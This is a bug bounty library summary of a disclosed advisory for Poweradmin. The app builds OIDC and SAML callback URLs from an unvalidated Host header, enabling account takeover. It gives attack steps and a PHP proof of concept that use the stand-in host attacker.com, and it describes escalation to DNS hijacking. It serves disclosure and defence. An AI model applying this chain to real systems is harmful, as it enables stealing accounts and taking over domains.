# Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.

Poweradmin builds OIDC redirect_uri, SAML ACS/SLO URLs and logout redirects from unvalidated HTTP_HOST, letting an attacker redirect victims' auth codes to steal accounts.

- Payout: Research
- Severity: critical
- Program: Poweradmin
- Found by: mike197312
- Disclosed: 2026-07-28
- CVE: CVE-2026-54588
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3735-5339-xfwx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3735-5339-xfwx
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:critical tech:oidc tech:php tech:saml technique:source-review vuln:account-takeover vuln:host-header vuln:open-redirect

**Target:** PHP web app OIDC/SAML auth flows (OidcService, SamlConfigurationService, LogoutController)
**Root cause:** Absolute callback URLs are built from the client-controlled HTTP_HOST (and unvalidated X-Forwarded-Proto) instead of a trusted configured base URL; the safe base_url branch is empty by default.
**Steps:**
1. Set `HTTP_HOST: attacker.com` on a request to the OIDC login initiation endpoint (or via misconfigured proxy passing $http_host).
2. OidcService::getCallbackUrl() returns `http://attacker.com/oidc/callback` and embeds it as redirect_uri in the IdP authorization request.
3. Victim authenticates at the IdP; the authorization code is delivered to attacker.com/oidc/callback.
4. Attacker redeems the code (attacker controls code_challenge/code_verifier, so PKCE does not help) and gains the victim's session.
**How found:** Code review of authentication flows; noticed DocsController::getValidatedHost() validates hostname but the same pattern was never applied to OidcService/SamlConfigurationService/LogoutController, which read HTTP_HOST directly.
**Exploitation:** Attacker sends a crafted link/request with spoofed Host header to the victim; the IdP redirects the victim's authorization code to the attacker's server, which the attacker exchanges for full authenticated access to Poweradmin, then abuses PowerDNS zone control (MX hijack, SPF/DKIM, subdomain takeover, ACME DNS-01 wildcard cert).
**Escalation:** Compromised admin account yields full DNS zone control: MX hijacking, SPF/DKIM manipulation, subdomain takeover, CAA removal for wildcard cert issuance, full domain delegation.
**Insight:** Grep auth/callback URL builders for HTTP_HOST/$_SERVER['HTTP_HOST'] and X-Forwarded-Proto; if the codebase has a validated-host helper used elsewhere, its absence in auth flows is the tell. PKCE does not stop attacker-initiated redirect_uri poisoning.

## Proof of concept (copied exactly from the original report)

**PHP script proving OIDC redirect_uri host injection**

```
docker exec poweradmin-container php -r "
  require '/app/vendor/autoload.php';
  putenv('PA_CONFIG_PATH=/app/config/settings.php');

  use PowerAdmin\Application\Service\OidcService;
  use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
  use PowerAdmin\Infrastructure\Web\Request;

  \$_SERVER['HTTP_HOST'] = 'attacker.com';
  \$_SERVER['HTTPS']     = '';

  \$config      = ConfigurationManager::getInstance();
  \$request     = new Request();
  \$oidcService = new OidcService(\$config, \$request);
  \$authUrl     = \$oidcService->initiateAuthFlow('test');

  parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
  echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;

  if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
      echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
  }
  "
```

